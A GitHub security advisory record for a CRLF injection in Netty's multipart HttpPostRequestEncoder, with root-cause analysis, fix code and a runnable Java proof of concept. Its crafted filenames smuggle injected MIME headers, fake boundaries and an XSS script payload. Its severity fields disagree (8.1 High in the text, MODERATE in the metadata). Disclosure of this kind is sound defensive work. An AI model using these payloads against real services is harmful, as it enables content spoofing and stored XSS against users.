"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59921"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` \u2014 directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` \u2014 `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` \u2014 `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` \u2014 `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n + HttpHeaderValues.ATTACHMENT + \"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder \u2014 SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder \u2014 CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty\u0027s `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n testFilenameInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n static void testFilenameInjection() throws Exception {\n System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n System.out.println(\"-------------------------------------------------------\");\n\n // Create a temporary file for upload\n File tempFile = File.createTempFile(\"test\", \".txt\");\n tempFile.deleteOnExit();\n try (FileWriter fw = new FileWriter(tempFile)) {\n fw.write(\"test content\");\n }\n\n // Malicious filename with CRLF to inject Content-Type header\n String maliciousFilename =\n \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n HttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n new DefaultHttpDataFactory(false), request, true,\n StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n DiskFileUpload fileUpload = new DiskFileUpload(\n \"file\", maliciousFilename, \"application/octet-stream\",\n \"binary\", StandardCharsets.UTF_8, tempFile.length());\n fileUpload.setContent(tempFile);\n\n encoder.addBodyHttpData(fileUpload);\n encoder.finalizeRequest();\n\n // Read the encoded multipart body\n StringBuilder body = new StringBuilder();\n while (!encoder.isEndOfInput()) {\n HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n if (chunk != null) {\n body.append(chunk.content().toString(StandardCharsets.UTF_8));\n chunk.release();\n }\n }\n encoder.cleanFiles();\n\n String encoded = body.toString();\n System.out.println(\"Malicious filename: \" +\n maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n System.out.println();\n System.out.println(\"Encoded multipart body:\");\n System.out.println(\"---\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"---\");\n\n boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n System.out.println();\n System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n System.out.println(\"Injected script tag: \" + hasInjectedScript);\n System.out.println(\"VULNERABLE: \" +\n ((hasInjectedHeader || hasInjectedScript) ?\n \"YES - MIME header injection!\" : \"NO\"));\n\n tempFile.delete();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n --88aaade41dbb9f9f\\r\n content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n Content-Type: text/html\\r \u003c-- INJECTED\n X-Injected: true\\r \u003c-- INJECTED\n \\r\n \u003cscript\u003ealert(1)\u003c/script\u003e\\r \u003c-- INJECTED XSS\n --\"\\r\n content-length: 12\\r\n content-type: application/octet-stream\\r\n content-transfer-encoding: binary\\r\n \\r\n test content\\r\n --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH \u2014 Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH \u2014 Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n ObjectUtil.checkNotNull(filename, \"filename\");\n for (int i = 0; i \u003c filename.length(); i++) {\n char c = filename.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"filename contains prohibited CRLF character at index \" + i);\n }\n }\n this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n for (int i = 0; i \u003c value.length(); i++) {\n char c = value.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027\"\u0027) {\n throw new ErrorDataEncoderException(\n \"Multipart parameter contains prohibited character at index \" + i);\n }\n }\n return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8\u0027\u0027encoded%20filename\nString encodedFilename = \"UTF-8\u0027\u0027\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"id": "GHSA-gcjf-9mgh-3p7g",
"modified": "2026-07-22T21:52:55Z",
"published": "2026-07-22T21:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…